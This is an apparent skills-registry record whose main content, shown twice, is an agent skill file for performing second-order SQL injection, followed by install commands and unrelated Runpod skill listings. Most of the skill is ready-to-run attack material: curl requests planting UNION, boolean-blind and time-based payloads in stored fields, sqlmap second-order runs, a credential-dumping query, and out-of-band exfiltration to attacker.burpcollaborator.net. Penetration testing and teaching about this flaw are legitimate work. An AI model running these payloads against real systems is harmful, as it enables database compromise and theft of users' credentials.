[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7AAAX68BVQPY503P7X4ZAH1":3,"skill-same:01M7AAAX68BVQPY503P7X4ZAH1":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7AAAX68BVQPY503P7X4ZAH1","performing-second-order-sql-injection",null,"Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-second-order-sql-injection\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-second-order-sql-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-second-order-sql-injection\ndescription: Detect and exploit second-order SQL injection vulnerabilities where malicious\n  input is stored in a database and later executed in an unsafe SQL query during a\n  different application operation.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- second-order-sqli\n- stored-sql-injection\n- sql-injection\n- database-security\n- web-security\n- blind-injection\n- persistent-sqli\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n","# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"second-order-sqli","stored-sql-injection","sql-injection","database-security","web-security","blind-injection","persistent-sqli","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-second-order-sql-injection","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-second-order-sql-injection",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-second-order-sql-injection",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-second-order-sql-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-second-order-sql-injection\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2712,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-second-order-sql-injection\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6595,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-second-order-sql-injection\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]